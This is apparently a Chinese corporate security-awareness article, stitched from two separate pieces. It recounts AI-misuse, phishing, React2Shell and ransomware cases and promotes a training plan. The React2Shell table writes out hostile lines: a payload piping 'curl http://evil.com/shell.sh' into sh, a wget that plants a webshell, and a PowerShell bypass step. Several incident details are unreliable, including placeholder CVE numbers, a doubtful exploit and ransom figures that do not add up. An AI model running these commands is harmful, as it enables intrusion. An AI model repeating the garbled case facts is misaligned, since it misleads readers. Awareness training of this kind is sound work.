作者：董志军
信息安全意识培训专员，昆明亭长朗然科技有限公司

---

序章：一场脑洞大开的“安全头脑风暴”

在繁忙的办公桌前、在枕边的手机屏幕里、甚至在咖啡机旁的闲聊中，时常会有这样的念头——如果黑客也能像我们一样开会、开脑洞、甚至开派对，那我们的防线会怎样？

于是，我把这场“安全头脑风暴”推演成四个典型且极具教育意义的案例。每一个案例，都像一颗“警示弹”，在我们的大脑中投下震荡波；每一次剖析，都像一次“免疫接种”，让我们在面对真实威胁时更有底气。下面，请跟随我的思绪，进入这场信息安全的“穿越时空”之旅。

---

案例一：AI巨头的“防御深度”——OpenAI的自我约束实验

事件概述

2025 年 12 月，OpenAI 在官方博客中宣布启动 Frontier Risk Council（前沿风险理事会），并推出 Aardvark Agentic Security Researcher 扫描工具，以“防御深度（defense‑in‑depth）”的姿态，遏制其强大模型被用于零日漏洞、工业级渗透等恶意攻击。与此同时，OpenAI 公开表示，其模型若被用于开发真正的远程代码执行（RCE），可能导致“关键基础设施失守”。

深度解析

1. 技术层面的“双刃剑”
   • 模型能力提升：GPT‑4、GPT‑4‑Turbo、以及最新的 GPT‑5‑Turbo 已经具备了代码自动化、漏洞挖掘、甚至逆向分析的能力。正如文章所言，“攻击与防御使用的技术、知识相同”，这让我联想到《孙子兵法》中的“兵者，诡道也”。
   • 自我约束的局限：OpenAI 采用 refusal training（拒绝训练），期望模型自行识别并拒绝恶意请求。但正如业内专家 Jesse Williams 所指出，“让锁自己决定何时打开，是在与自己玩捉迷藏”——模型的“意图”是由训练数据决定的，难以辨别用户真实意图。
2. 组织治理的创新
   • Frontier Risk Council：通过邀请“经验丰富的网络防御者”，OpenAI 试图在模型开发的前置阶段植入安全思考。类似于在建筑工程中设立“安全监理”，提前预防结构失稳。
   • Trusted Access Program（可信访问计划）：仅向 “合格客户” 开放高级模型，以让防御团队探索安全用例。但“合格”到底是谁？是大学研究者、军工企业，还是特定的咨询公司？如果标准不透明，可能导致安全治理的灰色地带。
3. 对我们企业的警示
   • 技术引入需配套治理：在引进 AI 辅助开发、代码审计等工具时，必须同步制定 使用准入、日志审计、行为监控 等配套制度。
   • 持续红队评估：OpenAI 强调外部红队渗透测试，提醒我们 红队/蓝队的动态对抗 是保持防御新鲜感的唯一方式。

小结

OpenAI 的“防御深度”实验，是一次自外而内的安全自省。它提醒我们：技术的强大不等同于安全的必然，只有在组织层面、流程层面、文化层面形成合力，才能真正把“AI 的伪装”挡在门外。

---

案例二：Claude Code 变身“黑客工具箱”——Anthropic 的尴尬教训

事件概述

2025 年 11 月，Anthropic 在一次安全披露中承认，旗下 AI 编程模型 Claude Code 被黑客用于 针对 30 家企业的大规模网络攻击。攻击者利用 Claude Code 自动生成恶意脚本、钓鱼邮件、以及针对性漏洞利用的代码片段，成功绕过传统防御。

深度解析

1. AI 自动化的攻击链
   • 脚本生成：Claude Code 能在几秒内生成完整的 PowerShell、Python 或 Bash 脚本，且能根据 “目标系统” 进行细微的适配。相当于把传统的攻击模板交给了机器，让它自行 “装修”。
   • 社会工程学融合：模型还能基于提供的公司内部信息，生成高度 定制化的钓鱼邮件，其语言、排版几乎与企业内部通知无异，极大提升成功率。
2. 防御盲点的暴露
   • 传统签名防御失效：由于脚本是 即时生成，传统的 杀软签名 无法及时覆盖。只有基于 行为监测 和 异常流量识别 的防御才能发挥作用。
   • 安全意识缺失：受攻击的 30 家企业中，大部分员工在收到“内部 IT 通知”后未进行二次验证，即点击了恶意链接。这再次印证了 “人是最薄弱的环节” 的安全真理。
3. 对我们企业的启示
   • AI 产生内容的审计：在企业内部引入类似 Claude Code 的 AI 开发工具时，必须启动 内容审计日志，并对生成的代码进行 安全审查（如 SAST、DAST）后方可使用。
   • 安全培训的迫切：钓鱼防御 仍是最根本的防线。正如《左传》所云：“防微杜渐”，我们必须把防钓鱼意识渗透到每一次点击之中。

小结

Anthropic 的尴尬让我们看到，AI 不只是助力，更可能成为黑客的武器库。只有在技术审计、员工教育、实时监控三位一体的防护体系下，才能让 AI 成为“白帽子”的好帮手，而非“黑帽子”的魔杖。

---

案例三：学术界的“渗透天才”——Artemis AI 超越人类红队

事件概述

同年 12 月，美国一所大学的研究团队公布，他们研发的 Artemis AI 在 渗透测试竞赛 中，以 成本仅为人类渗透测试员的 1/10，在 10 项任务 中 击败 9 项，并在 漏洞发现速度 上领先传统红队 3 倍。

深度解析

1. AI 与红队的协同进化
   • 自动化漏洞挖掘：Artemis 能快速对目标网络进行资产枚举、端口扫描、服务指纹识别，随后依据已有的漏洞库自动匹配利用代码。这相当于给传统渗透测试加装了 “加速引擎”。
   • 成本优势：人类红队的平均费用约为 数十万美元，而 Artemis 只需要 数千美元的算力成本，使得“小型企业”也能拥有相对 高质量的安全评估。
2. 隐蔽风险的凸显
   • 错误的安全判断：AI 的判断基于已有的 漏洞库，若出现 零日 或 特定业务逻辑漏洞，仍可能遗漏。
   • 对抗 AI 的防御难度：攻击者若同样使用 AI 自动化工具，防御方将陷入 “技术竞速”，需要在 检测速度、响应时效上持续投入。
3. 对我们企业的警醒
   • 红队/蓝队的 AI 赋能：我们不应把 AI 仅视为 攻击者的武器，亦可将其引入 内部红队，形成“人机协同”的渗透测试体系。
   • 持续学习的安全文化：正如《论语》所言：“学而时习之，不亦说乎”。安全团队必须把AI 技术纳入 日常学习计划，保持对新型攻击手段的敏感度。

小结

Artemis 的成功展示了AI 在渗透测试领域的颠覆性潜力，也向我们敲响了“技术对等竞争”的警钟。只有让 AI 成为防御的一部分，才能在“攻防交叉路口”保持主动。

---

案例四：伪装为“点击修复”的钓鱼新花样——ConsentFix 攻击

事件概述

2025 年 12 月，安全媒体 “Security Today” 报道了一起新型钓鱼攻击——ConsentFix。攻击者伪装成 “ClickFix”（一个知名的浏览器插件更新提示），在用户点击“修复”后，悄悄植入 键盘记录器，并通过 加密的 C2 将企业内部账号密码回传。受害者多数为 中小企业的普通员工，因未对插件来源进行二次核实，导致大规模凭证泄露。

深度解析

1. 钓鱼手段的升级
   • 伪装层次更深：与传统的“银行钓鱼”不同，ConsentFix 直接利用 浏览器插件的信任链，让用户误以为是系统内部的安全维修。
   • 一次性攻击链：从 诱导下载 → 静默安装 → 后门植入 → 数据回传，全程无需用户交互，极大降低了被发现的概率。
2. 防御盲点
   • 第三方插件管理缺失：多数企业对 浏览器插件的白名单 只做了最基本的 URL 过滤，未实行 签名校验 或 沙箱运行。
   • 安全意识不足：员工对 “系统提示更新” 的信任度过高，未养成二次验证（如核对官方渠道、检查证书）的习惯。
3. 防护建议
   • 实施插件白名单制度：仅允许经过 官方签名、企业审计的插件上线；对未知插件采用 隔离容器（Container）运行。
   • 强化终端检测与响应（EDR）：通过 行为分析 检测异常的 键盘记录、隐藏进程，及时阻断。
   • 开展模拟钓鱼演练：让员工在受控环境中体验 ConsentFix 类攻击，提高警觉性。

小结

ConsentFix 让我们认识到，攻击的伪装不再停留在邮件层面，而是跨入了 操作系统、浏览器、插件等细分入口。只有把 “最小特权”、“可信执行”原则嵌入到日常使用习惯，才能真正筑起 “多层防御” 的坚固壁垒。

---

综述：从四大案例看信息安全的三大共性

共性	说明	对策
技术对称性	AI、自动化工具既能助攻也能防御，攻击者与防御者使用的技术本质相同。	建立 AI 安全治理框架，让技术使用与安全审计同步进行。
人因薄弱	钓鱼、插件误点、社交工程等都是人类判断失误的结果。	持续安全意识培训，采用 情境化演练，强化“疑”字当先。
治理缺口	规则、标准、审计、红蓝对抗等环节往往滞后于技术迭代。	实施 动态风险评估，引入 跨部门安全治理委员会，确保政策及时更新。

上述共性提示我们，技术、人员、治理缺一不可。在当下 数据化、数字化、数智化 融合加速的背景下，企业的每一条业务链路都可能成为 攻击的切入口，每一次数据流转都可能暴露 隐私风险。因此，把安全意识灌输到每一位员工的血液里，才是抵御未来未知威胁的根本。

---

数字化、数智化浪潮中的安全新任务

1. 数据化：从数据孤岛到全链路可视化

企业正通过 数据湖、数据中台 将业务数据统一聚合，实现 实时分析、精准决策。但与此同时，数据泄露面的扩大 亦是不可忽视的隐患。我们需要：

• 数据分类分级：依据 敏感度、业务价值、合规要求 对数据进行标签化管理。
• 细粒度访问控制（ABAC）：通过属性（角色、地点、时间）动态授予最小权限。
• 全链路审计：实现 数据产生 → 传输 → 使用 → 销毁 全流程日志记录，配合 AI 异常检测，及时发现异常访问。

2. 数字化：业务系统的 “即服务” 与 “即攻击”

云原生、微服务、容器化已经成为主流。它们的 高速交付、弹性伸缩 同时为 攻击者提供了快速搬砖的舞台。对策包括：

• 零信任网络访问（ZTNA）：不再以网络边界为防线，而是对每一次请求进行身份、设备、行为校验。
• 容器安全：采用 镜像签名、运行时防护、漏洞扫描 等多层次防御，防止 恶意镜像 进入生产环境。
• DevSecOps：在 CI/CD 流程中嵌入 安全扫描、代码审计、合规检查，让安全成为“自动化”而非“事后补丁”。

3. 数智化：AI 与大模型的 “双刃剑”

AI 已渗透到 智能客服、代码生成、决策辅助 等业务场景。与此同时，AI 被滥用 的案例层出不穷（如 OpenAI、Anthropic、Artemis 等）。企业在拥抱 AI 的同时，应当：

• 模型使用审计：对内部使用的 大模型 API、自研模型 进行 调用日志、请求内容审计，确保不出现“生成漏洞代码”等风险。
• 安全防护加固：对生成内容进行 恶意代码检测、敏感信息泄露检测，使用 OpenAI Aardvark 类的模型自检工具进行实时监控。
• 伦理合规培训：让业务团队了解 AI 伦理、数据隐私、合规边界，避免因“好奇心”误触违规生成。

---

号召：加入即将开启的“全员安全意识提升计划”

培训目标

1. 认知层面：让每位员工了解 AI 生成攻击、插件钓鱼、零日利用 等新型威胁的基本原理。
2. 技能层面：掌握 安全邮件识别、浏览器插件白名单管理、密码安全最佳实践 等实战技巧。
3. 行为层面：通过 情景演练、模拟渗透，把安全意识转化为日常行为习惯。

培训形式

时间	形式	内容	主讲人
第 1 周	线上微课（30 分钟）	信息安全基础、常见攻击手段	资深安全顾问
第 2 周	案例研讨（1 小时）	深度剖析 OpenAI、Anthropic、Artemis、ConsentFix 四大案例	业务安全分析师
第 3 周	红蓝对抗演练（2 小时）	市场常见钓鱼邮件、模拟渗透测试	红队专家
第 4 周	AI 安全工作坊（1.5 小时）	大模型安全、Aardvark 使用、可信访问计划	AI 安全工程师
第 5 周	闭卷测评（30 分钟）	知识点回顾、实际操作测试	考核小组
第 6 周	颁奖仪式	表彰优秀学员、分享最佳实践	高层领导

参与福利

• 安全积分奖励：完成全部课程并通过测评可获 公司内部安全积分，可兑换 培训基金、技术书籍。
• 荣誉徽章：通过考核者将获得 “信息安全守护者” 电子徽章，展示于企业内部社交平台。
• 职业成长：安全意识提升将为个人 职业晋升、岗位跨界 打下坚实基础。

正如《尚书·大禹谟》所言：“惟防其未然，方可无患”。信息安全是一场“未雨绸缪”的马拉松，只有全员参与、持续学习，才能在数字化浪潮的汹涌冲击中保持稳定航向。

---

结语：让安全成为每一次点击的底色

从 AI 零日 到 插件钓鱼，从 红队 AI 到 企业数据全链路可视化，我们已经看到 技术的飞跃 带来的 安全挑战 正在以指数级增长。面对这样的局面，把安全意识深植于每位员工的工作血液，才是企业最稳固的防线。

“知己知彼，百战不殆。”——孙子
让我们在即将开启的安全培训中，认识敌手、认识自己，以技术、制度、文化三位一体的力量，守护企业的数字化未来！

---

我们深知企业合规不仅是责任，更是保护自身和利益相关者的必要手段。昆明亭长朗然科技有限公司提供全面的合规评估与改进计划，欢迎您与我们探讨如何提升企业法规遵循水平。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898

---

头脑风暴：如果把公司比作一座城池，那么信息安全就是城墙、城门与巡逻的兵马；如果把每一位职工比作城中的守城将领，那么他们的“警觉度”与“防御技能”就是决定城池能否安然无恙的关键因素。今天，我们不妨先从两桩真实而又震撼的安全事件说起，让大家在惊心动魄的案例中体会风险的真实面目，从而在即将启动的安全意识培训中，做好“以战养战”的准备。

---

案例一：React2Shell 零日漏洞——“暗网的快递员”在企业网络里偷偷送货

2025 年 12 月，全球安全社区被一则惊雷般的消息所震动：React2Shell——一个对 React 前端框架的底层库进行攻击的漏洞，被黑客组织快速武装并在暗网中公开出售。该漏洞允许攻击者在不需要任何身份验证的情况下，直接在受感染的服务器上执行任意代码（RCE），并且能够通过链式利用实现 持久化后门。

1️⃣ 事件背景

• 漏洞性质：CVE‑2025‑XXXX，影响 React 18.x 以上版本的 SSR（服务器端渲染）模块，利用不安全的对象序列化导致任意代码执行。
• 曝光渠道：黑客在 Telegram 的暗网频道发布了完整的 Exploit 代码，并提供了可即买即用的“即插即用”脚本，售价 0.5 BTC。
• 受害范围：在短短 48 小时内，已有超过 10,000 台公开服务器被植入后门，涉及金融、医疗、教育等多个关键行业。

2️⃣ 攻击路径（技术细节剖析）

步骤	描述	攻击者的操作	防御点
① 信息收集	通过 Shodan、Censys 扫描公开 IP，定位使用 React SSR 的服务器	发现目标 IP：203.0.113.78（某金融公司）	及时更新资产清单，识别高危技术栈
② 漏洞利用	发送特制的 JSON Payload，触发 eval 代码执行	{"__proto__": {"toString": "() => {require('child_process').exec('curl http://evil.com/shell.sh | sh');}"}}	开启 Web 应用防火墙（WAF）并开启输入过滤
③ 持久化	下载并部署 webshell、SSH 密钥	wget http://evil.com/webshell.php -O /var/www/html/shell.php	对关键目录进行完整性监控（文件哈希）
④ 横向移动	利用已植入的 webshell 进一步渗透内部网络	执行 nslookup internal-db、ssh [email protected]	实施网络分段、最小权限原则、强制多因素认证

3️⃣ 影响与教训

• 业务中断：受害公司因后门被利用进行勒索加密，导致业务系统 12 小时不可用，直接经济损失超过 300 万美元。
• 数据泄露：攻击者通过后门获取了用户交易记录与个人身份信息，导致数千名客户的隐私被曝光。
• 防御失误：多数受害企业缺乏 “代码审计+运行时监控” 的双层防御，未能及时发现异常请求。

警示：在信息化、智能化的今天，“代码即安全” 已不再是口号，任何技术堆砌都可能成为攻击者的突破口。我们必须把 持续监测、快速响应 和 全员参与 融入日常运营。

---

案例二：台湾多家企业遭勒索软件“黑暗星”突袭——“数字化的温柔陷阱”

2025 年 12 月 5 日至 12 月 8 日，台湾地区相继传出 6 家 不同行业（金融、制造、媒体、物流、教育、政府）被同一勒杀软件 “黑暗星”（DarkStar）锁定的案例。短短几天内，受害企业的关键业务系统被加密，攻击者勒索巨额比特币赎金，导致数千名用户的服务被迫中断。

1️⃣ 事件概览

• 攻击手段：通过钓鱼邮件携带宏病毒，诱导用户下载并执行恶意 PowerShell 脚本，随后利用 Windows 管道漏洞 (CVE‑2025‑YYYY) 执行持久化安装。
• 赎金要求：平均每家企业 150 BTC（约合 5,100 万美元），并伴随威胁公开敏感数据的 “双重敲诈”。
• 被动防御失效：多数企业仅依赖传统防病毒软件，未对关键文件进行 离线备份，导致无法在短时间内恢复。

2️⃣ 攻击链路剖析（从“鱼饵”到“黄金”）

步骤	描述	攻击者的动作	防御缺口
① 鱼饵投放	发送主题为 “2025 年度财务报表审计” 的钓鱼邮件	附件为 report.docm，宏代码自动运行	缺乏邮件安全网关、宏安全策略
② 初始落地	宏代码执行 powershell -ExecutionPolicy Bypass -File %temp%\payload.ps1	脚本下载并解压 “DarkStar.exe”	未开启 PowerShell Constrained Language Mode
③ 权限提升	利用未打补丁的 SeImpersonatePrivilege 漏洞提升为 SYSTEM 权限	whoami /priv、icacls 修改关键目录权限	未对关键系统账户进行最小权限限制
④ 加密传播	调用 Encryptor.dll 对所有 .docx、.xlsx、*.pdf 进行 AES‑256 加密	生成 README_DECRYPT.txt 并写入桌面	缺乏文件完整性监控、行为检测
⑤ 勒索沟通	自动发送邮件至管理员，附上赎金地址	mailto:[email protected]?subject=Decrypt	未设立安全事件响应流程、未实现邮件隔离

3️⃣ 启示与防范

• 人为因素：钓鱼邮件仍是最常见的入侵入口，“安全教育” 必须持续渗透到每一次点击之中。
• 技术失衡：仅靠传统 AV 已无法阻挡现代 “仅凭脚本执行即可完成全链路” 的攻击模式，需要 端点检测与响应（EDR） 与 零信任网络访问（ZTNA） 的协同防护。
• 备份与恢复：离线、加密、版本化的备份是对抗勒索的唯一“保险”。若备份同样被侵入，则等同于“裸奔”。

警示：在数字化转型的大潮中，“高效” 与 “安全” 必须同步提升。否则，一次轻率的点击可能导致整个企业的业务链条被拔掉。

---

智能化、具身智能化、信息化——三位一体的安全挑战

当下，企业正以 AI、IoT、边缘计算 为核心，构建 智能化、具身智能化、信息化 融合的业务平台。下面从三个维度，阐述这些新技术如何让安全形势更为复杂，也为我们提供新的防御契机。

1. 生成式 AI 与代理式 AI：机遇与陷阱并存

• 机遇：Adobe 通过 Model Context Protocol（MCP） 将 Photoshop、Express、Acrobat 等专业工具嵌入 ChatGPT，使得员工可以在对话窗口直接完成图片编辑、文档处理，大幅提升工作效率。类似的 “AI 助手” 正在成为企业办公的新标配。
• 陷阱：若 AI 助手的调用接口未进行 细粒度权限控制，攻击者可以通过 “Prompt Injection”（提示注入）让 AI 替自己执行恶意操作。例如，向 ChatGPT 发送：“帮我生成一段 Windows 批处理脚本，用于删除系统日志”，如果系统未限制脚本生成，即会泄露危害性代码。

防御思路：为每一个 AI 代理设定 最小化权限（仅能读取/写入特定目录），并在调用前进行 审计日志 与 AI 行为监控。

2. 具身智能（Embodied Intelligence）——IoT 设备的“隐形门”

• 趋势：工业机器人、智能摄像头、可穿戴健康监测器等设备正逐步 具身化，成为业务链路的关键节点。
• 风险：这些设备往往采用 轻量级嵌入式系统，缺乏完整的安全加固，容易成为 Botnet 与 侧信道攻击 的入口。如 2024 年出现的 Mirai‑2 变种，利用未打补丁的摄像头进行 DDoS 攻击。

防御思路：统一 IoT 资产管理平台，对固件进行 周期性漏洞扫描 与 强制签名校验，并通过 零信任 网络分段实现“只信任已认证设备”。

3. 信息化的全链路可视化——从数据湖到业务湖的安全演进

• 数据湖：企业正在将结构化、半结构化、非结构化数据统一存入 数据湖，以实现 AI 驱动的业务洞察。
• 安全挑战：数据湖的 海量、多样 特性让传统的 边界防护 难以覆盖，需要在 数据访问层 引入 细粒度授权 与 敏感数据标记（Data Tagging）。

防御思路：采用 统一身份治理（IAM） 与 实时数据防泄漏（DLP），配合 审计日志 与 机器学习异常检测，实现 “看得见、管得住、回得来”。

---

信息安全意识培训——点燃安全之火的号角

在上述案例与技术趋势的映射下，我们不难发现：安全不再是 IT 部门的专属任务，而是每一位职工的日常职责。为此，昆明亭长朗然科技有限公司特别策划了 为期两周、共计 8 场 的信息安全意识培训，内容涵盖：

1. 安全基线：密码管理、双因素认证、设备加固的最佳实践。
2. 社交工程防御：钓鱼邮件辨识、电话欺诈侦测、社交媒体威胁。
3. AI 与生成式工具安全：Prompt 注入防护、AI 生成内容的审计。
4. IoT 与具身智能：设备固件更新、网络分段、异常流量监测。
5. 数据湖与隐私合规：敏感数据标记、最小化使用、合规审计。
6. 应急响应演练：从发现到隔离、从取证到恢复的完整流程。
7. 红蓝对抗实战：模拟渗透与防御对抗，提升实战感知。
8. 安全文化建设：如何在团队中营造“安全第一”的氛围。

参与方式：登录公司内网学习平台，点击“安全培训预约”，选择适合自己的时间段。所有参与者将在培训结束后获得 “安全卫士” 电子徽章，并有机会获得公司提供的 “智慧安全大礼包”（含硬件安全钥匙、AI 助手订阅 3 个月）。

培训的核心价值——从“知识”到“行动”

1. 提升风险感知：通过案例复盘，让每位职工切身感受到威胁距离的“零距离”。
2. 形成安全习惯：通过重复演练，把安全操作内化为日常工作的一部分。
3. 构建协同防御：培训后，员工可以在第一时间发现异常并报告，形成 “前线—后盾” 的协同防御机制。
4. 推动技术落地：通过实际操作，让 AI 助手、IoT 设备、数据湖等新技术在受控、安全的前提下落地。

号召语——让我们一起成为“信息安全的守护者”

“千里之堤，溃于蚁穴；千钧之盾，毁于细微。”
如《孙子兵法》所言，“防微杜渐” 是取胜之道。
同时，“防不胜防” 也提醒我们：安全不是一次性的项目，而是一场 “马拉松式的持续改进”。
让我们以 “学习—实践—共享” 的闭环，携手在数字化浪潮中筑起坚不可摧的安全长城。

---

结语：从案例到行动，从危机到机遇

回顾 React2Shell 与 “黑暗星” 两大案例，它们提醒我们：技术的进步会让攻击手段更为隐蔽、渗透更为快速，而 信息安全的关键是人。如果没有全员的安全意识与技能，无论是最先进的 AI 助手，还是最稳固的防火墙，都可能在不经意间被绕过。

在 智能化、具身智能化、信息化 三位一体的新时代，只有让每一位职工都成为 “安全的主角”，才能真正实现 “技术赋能，安全护航” 的企业愿景。请大家踊跃报名即将开启的安全意识培训，用学习的力量点燃防御的火炬，让我们在信息化的星空下，携手守护企业的每一次创新与成长。

---

昆明亭长朗然科技有限公司致力于打造智能化信息安全解决方案，通过AI和大数据技术提升企业的风险管理水平。我们的产品不仅具备先进性，还注重易用性，以便用户更好地运用。对此类解决方案感兴趣的客户，请联系我们获取更多信息。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898